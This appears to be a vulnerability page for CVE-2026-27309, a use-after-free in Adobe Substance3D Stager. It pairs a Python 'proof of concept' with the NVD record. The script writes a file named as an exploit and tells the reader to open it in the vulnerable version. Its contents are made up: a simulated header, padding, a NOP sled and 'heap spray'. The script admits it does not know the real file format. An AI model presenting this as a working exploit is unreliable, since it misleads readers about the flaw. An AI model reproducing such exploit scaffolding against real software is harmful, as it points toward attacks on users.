CVE-2026-27309

import struct # Conceptual PoC for CVE-2026-27309 # This script generates a file structure designed to trigger the Use-After-Free. # Note: The actual file format structure for Substance3D Stager is proprietary. # This PoC demonstrates the payload generation logic often used in such exploits. def create_malicious_file(filename): # 1. Header (Simulated) header = b'STB3\x00\x00\x00\x01' # 2. Malicious Block designed to corrupt heap metadata # This specific pattern might trigger the allocation/free cycle trigger_block = b'A' * 0x100 trigger_block += b'\x00' * 0x10 # 3. Payload / ROP Chain # In a real scenario, this would be addresses pointing to executable code # or shellcode. Here we use a placeholder pattern. payload = b'\x90' * 0x100 # NOP Sled payload += b'CC' # INT3 interrupt for debugging # 4. Construct the file with open(filename, 'wb') as f: f.write(header) f.write(trigger_block) # Heap spray padding to increase reliability f.write(payload * 100) # Generate the exploit file create_malicious_file('exploit_CVE-2026-27309.stager') print("Malicious file generated. Open this in Adobe Substance3D Stager <= 3.1.7.")

{"cve": {"id": "CVE-2026-27309", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:20.497", "lastModified": "2026-03-30T17:18:12.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Stager versions 3.1.7 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.8", "matchCriteriaId": "0FA291F3-5A01-4976-B8BE-61E2D2AEDAC9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}